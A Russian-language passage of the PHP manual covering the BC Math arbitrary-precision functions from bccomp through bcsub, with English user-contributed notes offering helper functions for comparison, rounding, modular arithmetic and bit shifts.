echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000


Сравнение двух чисел произвольной точности

  • « bcadd
  • bcdiv »
  • PHP Manual
  • Функции BC Math
  • Сравнение двух чисел произвольной точности

bccomp

(PHP 4, PHP 5, PHP 7, PHP 8)

bccomp — Сравнение двух чисел произвольной точности

Описание

bccomp(string $num1, string $num2, ?int $scale = null): int

Сравнивает num1 с num2 и возвращает целочисленный результат.

Список параметров

num1

Левый операнд в виде строки.

num2

Правый операнд в виде строки.

scale

Необязательный аргумент scale задаёт количество цифр после десятичной точки, которое будет участвовать в сравнении.

Возвращаемые значения

Возвращает 0, если числа равны; 1, если left_operand больше, чем right_operand; -1, если меньше.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.

Примеры

Пример #1 Пример использования bccomp()

<?php

echo bccomp('1', '2') . "\n"; // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

User Contributed Notes

aaugrin at gmail dot com 19-Feb-2018 10:01
BEWARE! left and right operand is string!! so number in E-notation like 9.012E-6  need to be converted with sprintf('%F') to string
Artur Kuritsyn 18-Sep-2017 11:57
bccomp - doesn't compare by default more then 16 characters

$number = '-4.444444444444444444444444444444444444444444445';
$precision = 16;
var_dump(bccomp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)));

//outputs 0 on PHP 5.3

use strcomp
simonrataj at seznam dot cz 28-Jun-2016 03:26
In PHP 7, bccomp($a, $b) is the same as $a <=> $b.
github.com/alixaxel/phunction/ 07-May-2012 01:19
You can wrap this function with version_compare() to have support for operators and friendlier (boolean) return values.

<?php

function _bccomp($a, $b, $operator = '=')
{
    return version_compare(bccomp($a, $b), 0, $operator);
}

var_dump(_bccomp(5, 3, '>=')); // true

?>

Still works with arbitrary length numbers.
Robert Lozyniak 16-Feb-2010 10:04
Beware that negative zero does not compare equal to positive zero.
Nitrogen 21-Jul-2009 06:23
I made this to compare an unlimited size of numbers..

This could be useful for those without the BCMath extension.

It allows decimals, and option $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to the correct number of decimals to compare.

<?php

function Comp($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // remove leading zeroes from whole numbers
  $Num1=ltrim($Tmp1[1],'0');
  $Num2=ltrim($Tmp2[1],'0');

  // first, we can just check the lengths of the numbers, this can help save processing time
  // if $Num1 is longer than $Num2, return 1.. vice versa with the next step.
  if(strlen($Num1)>strlen($Num2)) return(1);
  else {
    if(strlen($Num1)<strlen($Num2)) return(-1);

    // if the two numbers are of equal length, we check digit-by-digit
    else {

      // remove ending zeroes from decimals and remove point
      $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
      $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

      // if the user defined $Scale, then make sure we use that only
      if($Scale!=null) {
        $Dec1=substr($Dec1,0,$Scale);
        $Dec2=substr($Dec2,0,$Scale);
      }

      // calculate the longest length of decimals
      $DLen=max(strlen($Dec1),strlen($Dec2));

      // append the padded decimals onto the end of the whole numbers
      $Num1.=str_pad($Dec1,$DLen,'0');
      $Num2.=str_pad($Dec2,$DLen,'0');

      // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than)
      for($i=0;$i<strlen($Num1);$i++) {
        if((int)$Num1{$i}>(int)$Num2{$i}) return(1);
        else
          if((int)$Num1{$i}<(int)$Num2{$i}) return(-1);
      }

      // if the two numbers have no difference (they're the same).. return 0
      return(0);
    }
  }
}

$A="10.50002";
$B="10.50001";

printf("  Comp(%s,%s); // %s\r\n",$A,$B,  Comp($A,$B));
printf("BCComp(%s,%s); // %s\r\n",$A,$B,BCComp($A,$B));

/*
    Comp(10.50002,10.50001); // 1
  BCComp(10.50002,10.50001); // 0 (BCComp has a default decimal scale of 0, unless specified)
*/

?>

I tried to make this behave like BCComp..

The only difference being mine will compare the decimals by default.. BCComp won't..
.. unless, of course, you specify the amount of decimals to include in the process.
Enjoy,
Nitrogen.
m dot kaczanowski at alianet dot pl 11-Mar-2009 06:35
Improvement of functions bcmax() and bcmin() originaly written by frank at booksku dot com

<?php

function bcmax() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $max = $args[0];
  foreach($args as $value) {
    if (bccomp($value, $max)==1) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $min = $args[0];
  foreach($args as $value) {
    if (bccomp($min, $value)==1) {
      $min = $value;
    }
  }
  return $min;
}
?>
frank at booksku dot com 04-Oct-2005 03:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
    if ($max == null) {
      $max = $value;
    } else if (bccomp($max, $value) < 0) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
    if ($min == null) {
      $min = $value;
    } else if (bccomp($min, $value) > 0) {
      $min = $value;
    }
  }
  return $min;
}
?>
11-Feb-2005 02:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>


Операция деления для чисел произвольной точности

  • « bccomp
  • bcmod »
  • PHP Manual
  • Функции BC Math
  • Операция деления для чисел произвольной точности

bcdiv

(PHP 4, PHP 5, PHP 7, PHP 8)

bcdiv — Операция деления для чисел произвольной точности

Описание

bcdiv(string $num1, string $num2, ?int $scale = null): string

Делит num1 на num2.

Список параметров

num1

Делимое в виде строки.

num2

Делитель в виде строки.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Возвращает результат деления в виде строки или null, если divisor равен 0.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.

Примеры

Пример #1 Пример использования bcdiv()

<?php

echo bcdiv('105', '6.55957', 3); // 16.007

?>

Смотрите также

  • bcmul() - Умножение двух чисел с произвольной точностью

User Contributed Notes

Anonymous 26-Sep-2010 10:05
The custom bcdiv function listed at the top of this page produces very different results from bcdiv, as it rounds instead of truncating the result. Consider the following:

<?php

function bcdiv_cust( $first, $second, $scale = 0 )
{
    $res = $first / $second;
    return round( $res, $scale );
}

echo bcdiv('1','2','0') . " vs. " bcdiv_cust('1','2','0');  // prints '0 vs. 1'

?>
MM 18-Jan-2008 03:29
Perhaps some one can find useful this function to compute the modular inverse of a integer (extended euclidean algorithm):

  function invmod($a,$b) {
    $n=$b;
    $x=0; $lx=1; $y=1; $ly=0;
    while ($b) {
      $t=$b;
      $q=bcdiv($a,$b,0);
      $b=bcmod($a,$b);
      $a=$t;
      $t=$x; $x=bcsub($lx,bcmod(bcmul($q,$x),$n)); $lx=$t;
      $t=$y; $y=bcsub($ly,bcmod(bcmul($q,$y),$n)); $ly=$t;
    }
    if (bccomp($lx,0) == -1)
      $lx=bcadd($lx,$n);
    return $lx;
  }

  // verify

  $n="2447995268898324993537772139997802321";
  $t="64941057316178801556773346239351236811";
  $m="123456789";
  $i=invmod($t,$n);
  // (t*m)*inv(t) is m
  echo bcmod(bcmul(bcmod(bcmul($t,$m),$n),$i),$n) == $m;
Gautam 29-Aug-2007 07:56
<?php
 //converting in to required precision of decimal points
$result= bcdiv(89.99999999997,2.57865741235478,2);
 echo "$result";  // 34.90 result with 2 decimal points
?>
cristianDOTzuddas]NOSPAM[gmailDOTcom 24-Jul-2005 05:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
    if (strlen($dec_str)>0) {
        $bin_str = '';
        do {
            if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
                $bin_str .= '0';
            else
                $bin_str .= '1';

            $dec_str = bcdiv($dec_str, '2');
        } while ($dec_str!='0');

        return strrev($bin_str);
    }
    else
        return null;
}
?>

-----
Cristian
www.CodeFlower.com


Получает остаток от деления чисел с произвольной точностью

  • « bcdiv
  • bcmul »
  • PHP Manual
  • Функции BC Math
  • Получает остаток от деления чисел с произвольной точностью

bcmod

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmod — Получает остаток от деления чисел с произвольной точностью

Описание

bcmod(string $num1, string $num2, ?int $scale = null): string

Получает остаток от деления num1 на num2. Если num2 не равен нулю, результат будет иметь такой же знак, что и num1.

Список параметров

num1

Делимое в виде строки.

num2

Правый операнд (модуль) в виде строки.

Возвращаемые значения

Возвращает остаток от деления в виде строки или null, если num2 равен 0.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.
7.2.0 | num1 и num2 больше не обрезаются до целого, так что теперь поведение bcmod() соответствует fmod(), а не оператору %.
7.2.0 | Добавлен параметр scale.

Примеры

Пример #1 Пример использования bcmod()

<?php
bcscale(0);
echo bcmod( '5', '3'); // 2
echo bcmod( '5', '-3'); // 2
echo bcmod('-5', '3'); // -2
echo bcmod('-5', '-3'); // -2
?>

Пример #2 Пример использования bcmod() с десятичными знаками

<?php
bcscale(1);
echo bcmod('5.7', '1.3'); // 0.5 с PHP 7.2.0; 0 ранее
?>

Смотрите также

  • bcdiv() - Операция деления для чисел произвольной точности

User Contributed Notes

drahoszdenek at gmail dot com 01-Feb-2013 04:44
The modulus can be only integer. For "floats" bcmod returns 0:

<?php
echo bcmod('10', '2.1'); // 0
?>

For real modulus you can use BN-PHP project (hosted at Bitbucket):

<?php
$eval = new \BN\Expression\ExpressionEvaluator();
$operators = new \BN\Expression\OperatorsFactory();
$eval->setOperators($operators->getOperators(array('%')));

echo $eval->evaluate('10 % 2.1'); // 1.6
echo $eval->evaluate('10 % -2.1'); // 1.6
echo $eval->evaluate('-10 % 2.1'); // -1.6
echo $eval->evaluate('-10 % -2.1'); // -1.6
?>
lauris at night dot lt 23-Dec-2003 08:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
    // how many numbers to take at once? carefull not to exceed (int)
    $take = 5;
    $mod = '';

    do
    {
        $a = (int)$mod.substr( $x, 0, $take );
        $x = substr( $x, $take );
        $mod = $a % $y;
    }
    while ( strlen($x) );

    return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>


Умножение двух чисел с произвольной точностью

  • « bcmod
  • bcpow »
  • PHP Manual
  • Функции BC Math
  • Умножение двух чисел с произвольной точностью

bcmul

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmul — Умножение двух чисел с произвольной точностью

Описание

bcmul(string $num1, string $num2, ?int $scale = null): string

Умножает num1 на num2.

Список параметров

num1

Левый операнд (первый множитель) в виде строки.

num2

Правый операнд (второй множитель) в виде строки.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Возвращает результат в виде строки.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.
7.3.0 | Теперь bcmul() возвращает числа с заданной точностью. Раньше завершающие нули в дробной части числа отбрасывались.

Примеры

Пример #1 Пример использования bcmul()

<?php
echo bcmul('1.34747474747', '35', 3); // 47.161
echo bcmul('2', '4'); // 8
?>

Примечания

Замечание:

До PHP 7.3.0, bcmul() могла вернуть результат с меньшим количеством цифр после десятичной точки, чем задаёт параметр scale. Это могло произойти только в случае, если результату не требуется точность заданная scale. К примеру:

Пример #2 Пример bcmul() с заданной точностью

<?php
echo bcmul('5', '2', 2); // напечатает "10", а не "10.00"
?>

Смотрите также

  • bcdiv() - Операция деления для чисел произвольной точности

User Contributed Notes

mgkirs 25-Aug-2017 04:08
$float = 0.31234144143341;
$float1 = 0.00000000000000000000000000000005;
echo $float, "\n";
//0.31234144143341
echo $float1, "\n";
//5.0E-32
echo $float*$float1, "\n";
//1.5617072071671E-32

<?php
/*bcmul read float as string*/
echo bcmul($float, $float1, 32),"\n";
//0
echo bcmul($float, sprint('%.32f',$float1), 32);
//0.000000000000000000000000000000015617072071671;
?>
gar37bic at gmail dot com 19-Nov-2012 05:06
When using printf to print the results of bcmath operations, use string format, i.e. '%s', not numeric formats such as '%d' or '%f'.  For example, the output of factorial (23) will be incorrect if using %d or %f:

Result using %f:
factorial (22) = 1124000727777607680000 (correct)
factorial (23) = 25852016738884978212864 (incorrect)

Result using %s:
factorial (22) = 1124000727777607680000
factorial (23) = 25852016738884976640000

Using echo, this is not a problem - PHP will output the bcmath string type correctly.
admin at spamhere dot sinfocol dot org 03-Jan-2011 10:17
Well, I have a little problem implementing Blake Hash in my server because it is not a x64 server machine. I made a little function that use the powerfull of BC library to do the bitwise operation Shift.

<?php
echo 'Left Shift test<br />';
bprint('1', decbin(1));
bprint('1 << 32 (Fail)', decbin(1 << 32)); //Fail, operation not succesfull in 32-bit machine
bprint('shiftleft(1, 32) (Success)', dec2bin(shiftleft('1', '32'))); //decbin fails, so we use personalized function, success

echo '<br />';
echo 'Right Shift test<br />';
bprint('9223372036854775808', dec2bin('9223372036854775808'));
bprint('9223372036854775808 >> 63 (Fail)', decbin(9223372036854775808 >> 63));
bprint('rightshift(9223372036854775808, 63) (Success)', decbin(rightshift('9223372036854775808', '63')));

function shiftleft($num, $bits) {
    return bcmul($num, bcpow('2', $bits));
}

function rightshift($num, $bits) {
    return bcdiv($num, bcpow('2', $bits));
}

function bprint($title, $content) {
    echo $title . '<br />' . str_pad($content, 64, '0', STR_PAD_LEFT) . '<br />' . PHP_EOL;
}

//http://www.php.net/manual/en/function.decbin.php#99533
function dec2bin($dec) {
    // Better function for dec to bin. Support much bigger values, but doesn't support signs
    for ($b = '', $r = $dec; $r >1;) {
        $n = floor($r / 2);
        $b = ($r - $n * 2) . $b;
        $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r % 2) . $b;
}
?>
Nitrogen 08-Jul-2009 05:55
I made this to multiply an unlimited size of integers together (meaning no decimals)..
This could be useful for those without the BCMath extension.

<?php

function Mul($Num1='0',$Num2='0') {
  // check if they're both plain numbers
  if(!preg_match("/^\d+$/",$Num1)||!preg_match("/^\d+$/",$Num2)) return(0);

  // remove zeroes from beginning of numbers
  for($i=0;$i<strlen($Num1);$i++) if(@$Num1{$i}!='0') {$Num1=substr($Num1,$i);break;}
  for($i=0;$i<strlen($Num2);$i++) if(@$Num2{$i}!='0') {$Num2=substr($Num2,$i);break;}

  // get both number lengths
  $Len1=strlen($Num1);
  $Len2=strlen($Num2);

  // $Rema is for storing the calculated numbers and $Rema2 is for carrying the remainders
  $Rema=$Rema2=array();

  // we start by making a $Len1 by $Len2 table (array)
  for($y=$i=0;$y<$Len1;$y++)
    for($x=0;$x<$Len2;$x++)
      // we use the classic lattice method for calculating the multiplication..
      // this will multiply each number in $Num1 with each number in $Num2 and store it accordingly
      @$Rema[$i++%$Len2].=sprintf('%02d',(int)$Num1{$y}*(int)$Num2{$x});

  // cycle through each stored number
  for($y=0;$y<$Len2;$y++)
    for($x=0;$x<$Len1*2;$x++)
      // add up the numbers in the diagonal fashion the lattice method uses
      @$Rema2[Floor(($x-1)/2)+1+$y]+=(int)$Rema[$y]{$x};

  // reverse the results around
  $Rema2=array_reverse($Rema2);

  // cycle through all the results again
  for($i=0;$i<count($Rema2);$i++) {
    // reverse this item, split, keep the first digit, spread the other digits down the array
    $Rema3=str_split(strrev($Rema2[$i]));
    for($o=0;$o<count($Rema3);$o++)
      if($o==0) @$Rema2[$i+$o]=$Rema3[$o];
      else @$Rema2[$i+$o]+=$Rema3[$o];
  }
  // implode $Rema2 so it's a string and reverse it, this is the result!
  $Rema2=strrev(implode($Rema2));

  // just to make sure, we delete the zeros from the beginning of the result and return
  while(strlen($Rema2)>1&&$Rema2{0}=='0') $Rema2=substr($Rema2,1);

  return($Rema2);
}

$A='5650175242508133742';
$B='2361030539975818701734615584174625';

printf("  Mul(%s,%s); // %s\r\n",$A,$B,  Mul($A,$B));
printf("BCMul(%s,%s); // %s\r\n",$A,$B,BCMul($A,$B)); // build-in function

/*
  This will print something similar to this..
    Mul(5650175242508133742,2361030539975818701734615584174625);
  BCMul(5650175242508133742,2361030539975818701734615584174625);

  both of which should be followed by the answer:
  13340236303776981390475700774516825287352418182696750
*/

?>

It was a fun experience making.. even though this took me longer than the BCAdd alternative I did..
Memory allocation might be an issue for rediculously larger numbers though.. if someone wants to benchmark the performance of my function; feel free.
Enjoy,
Nitrogen.


Возведение в степень чисел с произвольной точностью

  • « bcmul
  • bcpowmod »
  • PHP Manual
  • Функции BC Math
  • Возведение в степень чисел с произвольной точностью

bcpow

(PHP 4, PHP 5, PHP 7, PHP 8)

bcpow — Возведение в степень чисел с произвольной точностью

Описание

bcpow(string $num, string $exponent, ?int $scale = null): string

Возводит num в степень exponent.

Список параметров

num

Основание в виде строки.

exponent

Степень в виде строки. Если степень не целое, то она обрезается до целого. Корректные значения степени зависят от используемой платформы, но это как минимум значения от -2147483648 до 2147483647.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Возвращает результат в виде строки.

Список изменений

Версия | Описание
7.3.0 | Теперь bcpow() возвращает числа с заданной точностью. Раньше завершающие нули в дробной части числа отбрасывались.

Примеры

Пример #1 Пример использования bcpow()

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

Примечания

Замечание:

До PHP 7.3.0 bcpow() могла вернуть результат с меньшим числом цифр после десятичной точки, чем указано в аргументе scale. Так происходило, только когда результату не требуется вся точность, предоставленная в scale. Например:

Пример #2 Пример уменьшения точности в bcpow()

<?php
echo bcpow('5', '2', 2); // выдаст "25", вместо "25.00"
?>

Смотрите также

  • bcpowmod() - Возводит одно число в степень другого и возвращает остаток от деления результата на третье число
  • bcsqrt() - Извлекает квадратный корень из числа с заданной точностью

User Contributed Notes

thomas at tgohome dot com 13-Jul-2009 12:19
<?php

bcscale(100);

/*
 * Computes the natural logarithm using a series.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iter = 10)
{
    $result = "0.0";

    for($i = 0; $i < $iter; $i++)
    {
        $pow = (1 + (2 * $i));
        $mul = bcdiv("1.0", $pow);
        $fraction = bcmul($mul, bcpow(bcsub($a, "1.0") / bcadd($a, "1.0"), $pow));
        $result = bcadd($fraction, $result);
    }

    return bcmul("2.0", $result);
}

/*
 * Computes the base2 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog2($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("2", $iter));
}

/*
 * Computes the base10 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog10($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("10", $iter));
}

?>
11-Feb-2005 01:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
    $awnser = "1";
    while ($power) {
        $awnser = bcmul($awnser, $num, 100);
        $power = bcsub($power, "1");
    }
    return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
Michael Bailey (jinxidoru at byu dot net) 09-Aug-2004 05:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com


Возводит одно число в степень другого и возвращает остаток от деления результата на третье число

  • « bcpow
  • bcscale »
  • PHP Manual
  • Функции BC Math
  • Возводит одно число в степень другого и возвращает остаток от деления результата на третье число

bcpowmod

(PHP 5, PHP 7, PHP 8)

bcpowmod — Возводит одно число в степень другого и возвращает остаток от деления результата на третье число

Описание

bcpowmod(
string $num,
string $exponent,
string $modulus,
?int $scale = null
): string

Используйте метод быстрого возведения числа num в степень exponent и получения остатка от деления на modulus.

Список параметров

num

Основание степени в виде строки, содержащее целое число.

exponent

Показатель степени в виде строки, содержащее неотрицательное целое число.

modulus

Модуль в виде строки, содержащий целое число.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Возвращает результат в виде строки или false, если modulus равен 0 или exponent отрицательна.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.

Примеры

Следующие выражения дают одинаковый результат. Однако функция bcpowmod() работает быстрее и может принимать большие значения аргументов.

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a == $b.

?>

Примечания

Замечание:

Так как этот метод использует операцию деления по модулю, отрицательные числа могут давать неожидаемый результат.

Смотрите также

  • bcpow() - Возведение в степень чисел с произвольной точностью
  • bcmod() - Получает остаток от деления чисел с произвольной точностью

User Contributed Notes

laysoft at gmail dot com 30-Jan-2007 05:34
I found a better way to emulate bcpowmod on PHP 4, which works with very big numbers too:

function powmod($m,$e,$n) {
    if (intval(PHP_VERSION)>4) {
        return(bcpowmod($m,$e,$n));
    } else {
        $r="";
        while ($e!="0") {
            $t=bcmod($e,"4096");
            $r=substr("000000000000".decbin(intval($t)),-12).$r;
            $e=bcdiv($e,"4096");
        }
        $r=preg_replace("!^0+!","",$r);
        if ($r=="") $r="0";
        $m=bcmod($m,$n);
        $erb=strrev($r);
        $q="1";
        $a[0]=$m;
        for ($i=1;$i<strlen($erb);$i++) {
            $a[$i]=bcmod(bcmul($a[$i-1],$a[$i-1]),$n);
        }
        for ($i=0;$i<strlen($erb);$i++) {
            if ($erb[$i]=="1") {
                $q=bcmod(bcmul($q,$a[$i]),$n);
            }
        }
        return($q);
    }
}
rrasss at gmail dot com 15-May-2006 02:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com 27-Sep-2005 09:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
    return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
    {
    if (bcmod($Exponent, 2) == "1")
      $Result = bcmod(bcmul($Result, $Value), $Modulus);

    if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

    $Value = bcmod(bcmul($Value, $Value), $Modulus);
    }

  return ($Result);
  }


Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.

  • « bcpowmod
  • bcsqrt »
  • PHP Manual
  • Функции BC Math
  • Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.

bcscale

(PHP 4, PHP 5, PHP 7, PHP 8)

bcscale — Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.

Описание

bcscale(int $scale): int

Задаёт количество чисел после десятичной точки по умолчанию для функций bc math, которые не могут явно получить это число в виде аргумента.

bcscale(null $scale = null): int

Получает текущий масштаб.

Список параметров

scale

Масштаб, число знаков после запятой.

Возвращаемые значения

Возвращает старый масштаб, если используется как сеттер. В противном случае возвращает текущий масштаб.

Список изменений

Версия | Описание
8.0.0 | scale is now nullable.
7.3.0 | bcscale() теперь может быть использована для получения текущего масштаба; при установке нового значения, возвратит старое значение масштаба. Раньше scale был обязательным, и bcscale() всегда возвращал true.

Примеры

Пример #1 Пример использования bcscale()

<?php

// масштаб по умолчанию : 3
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// то же самое без bcscale()
echo bcdiv('105', '6.55957', 3); // 16.007

?>

User Contributed Notes

sicerwork at aliyun dot com 16-Jan-2017 06:56
Executing bcsacle() will change the scale value of fpm.conf, not only the current process.
herslyadam at gmail dot com 07-Apr-2014 10:04
edited bcround function with negative number support:
<?php
function bcround($number, $scale=0) {
    if($scale < 0) $scale = 0;
    $sign = '';
    if(bccomp('0', $number, 64) == 1) $sign = '-';
    $increment = $sign . '0.' . str_repeat('0', $scale) . '5';
    $number = bcadd($number, $increment, $scale+1);
    return bcadd($number, '0', $scale);
}
?>
ravenswd at gmail dot com 30-Apr-2012 06:43
Simple, easy way to remove excess trailing zeros using rtrim:
<php>
  // $total is the result of a bcmath calculation
  if ( strpos($total, '.') !== false ):
    $total = rtrim($total, '0');
    $total = rtrim($total, '.');
  endif;
</php>
mwgamera at gmail dot com 05-Dec-2007 06:45
These functions DO NOT round off your values. No arbitrary precision libraries do it this way. It stops calculating after reaching scale of decimal places, which mean that your value is cut off after scale number of digits, not rounded. To do the rounding use something like this:
<?php
        function bcround($number, $scale=0) {
                $fix = "5";
                for ($i=0;$i<$scale;$i++) $fix="0$fix";
                $number = bcadd($number, "0.$fix", $scale+1);
                return    bcdiv($number, "1.0",    $scale);
        }
?>


Извлекает квадратный корень из числа с заданной точностью

  • « bcscale
  • bcsub »
  • PHP Manual
  • Функции BC Math
  • Извлекает квадратный корень из числа с заданной точностью

bcsqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsqrt — Извлекает квадратный корень из числа с заданной точностью

Описание

bcsqrt(string $num, ?int $scale = null): string

Возвращает квадратный корень из num.

Список параметров

num

Операнд (подкоренное выражение) в виде корректно сформированной числовой строки BCMath.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Возвращает квадратный корень в виде корректно сформированной числовой строки BCMath.

Ошибки

Функция выбрасывает исключение ValueError в следующих случаях:

  • если num не является корректно сформированной числовой строкой BCMath
  • если num меньше, чем 0
  • если scale находится вне допустимого диапазона

Список изменений

Версия | Описание
8.0.0 | Если параметр num не является корректно сформированной числовой строкой BCMath или меньше 0, выбрасывается исключение ValueError; ранее вместо этого выдавалась ошибка уровня E_WARNING.
8.0.0 | Параметр scale теперь должен быть между 0 и 2147483647; ранее отрицательные значения воспринимались как 0.
8.0.0 | scale теперь допускает значение null.

Примеры

Пример #1 Пример использования bcsqrt()

<?php

echo bcsqrt('2', 3); // 1.414

?>

Смотрите также

  • bcpow() - Возведение в степень чисел с произвольной точностью

User Contributed Notes

There are no user contributed notes for this page.


Вычитает одно число из другого с заданной точностью

  • « bcsqrt
  • GMP »
  • PHP Manual
  • Функции BC Math
  • Вычитает одно число из другого с заданной точностью

bcsub

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsub — Вычитает одно число из другого с заданной точностью

Описание

bcsub(string $num1, string $num2, ?int $scale = null): string

Вычитает число num2 из num1.

Список параметров

num1

Левый операнд (уменьшаемое) в виде строки.

num2

Правый операнд (вычитаемое) в виде строки.

scale

Этот необязательный параметр используется для установки количества знаков после десятичного разделителя в результате. Если не задано, то, по умолчанию, будет использовано значение заданное глобально с помощью bcscale(), либо 0.

Возвращаемые значения

Разность в виде строки.

Список изменений

Версия | Описание
8.0.0 | scale теперь допускает значение null.

Примеры

Пример #1 Пример использования bcsub()

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b); // -3
echo bcsub($a, $b, 4); // -3.7660

?>

Смотрите также

  • bcadd() - Сложить 2 числа произвольной точности

User Contributed Notes

charles dot adrian dot wood at gmail dot com 14-May-2019 02:52
Please note that bcsub will fail in non-obvious ways if it's fed something that cannot be converted to a number. For instance:

bcsub('yes', 'no') === '0'

Yes, if you put garbage in, you get garbage out. Just don't expect bcsub to throw an error when you feed it an entirely non-numeric value.
nd at snackbox dot org 28-Mar-2018 09:26
The parameter order here is probably fairly obvious to most people (subtract right from left), but to clarify with a simple use case since I was struggling with this at the end of a long day:

<?php
echo bcsub('7', '5'); // 7 - 5 = '2'
echo bcsub('12', '17'); // 12 - 17 = '-5'
?>

Provide the parameters in the same order you would when using a normal subtraction operator.


Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Примеры
  • GMP Функции
    • gmp_abs — Абсолютная величина
    • gmp_add — Сложение чисел
    • gmp_and — Побитовое И
    • gmp_binomial — Вычисляет биномиальный коэффициент
    • gmp_clrbit — Сброс бита
    • gmp_cmp — Сравнение чисел
